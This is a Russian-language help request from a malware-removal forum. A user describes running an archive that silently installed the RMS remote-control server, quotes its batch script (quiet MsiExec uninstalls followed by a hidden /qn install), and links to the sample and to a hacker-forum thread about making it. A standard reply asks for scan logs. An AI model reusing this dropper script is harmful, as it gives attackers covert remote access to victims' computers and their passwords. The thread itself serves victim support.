-
Хитрый мошенник
Здравствуйте,помогите пожалуйста.
Запустил один файл,а когда понял что зря,было поздно и что странно,антивирус пропустил его.
RMS-Удаленое управления.
Вообщем вот этот файл: [url]http://rghost.ru/55468837[/url]
Это rar архив,в котором запакованы два файла .bat и .msi
В bat фале указаны строчки,цитирую:
@chcp 1251
@MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /passive REBOOT=ReallySuppress
@MsiExec /x {AB7AA605-500F-4153-8207-FB5563419112} /passive REBOOT=ReallySuppress
@ping 127.0.0.1
@MsiExec /I "rms5.2.1_server.msi" /qn
Вот тема на изготовления этого вируса: [url]http://www.xaker.name/forvb/showthread.php?t=23230[/url]
[B]UPD:[/B] [COLOR="#FF0000"]Тему можно удалять,не стал ждать пока украдут все мои пороли и снес систему[/COLOR].:)
-
Уважаемый(ая) [B]altair-r[/B], спасибо за обращение на наш форум!
Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
Page generated in 0.01145 seconds with 10 queries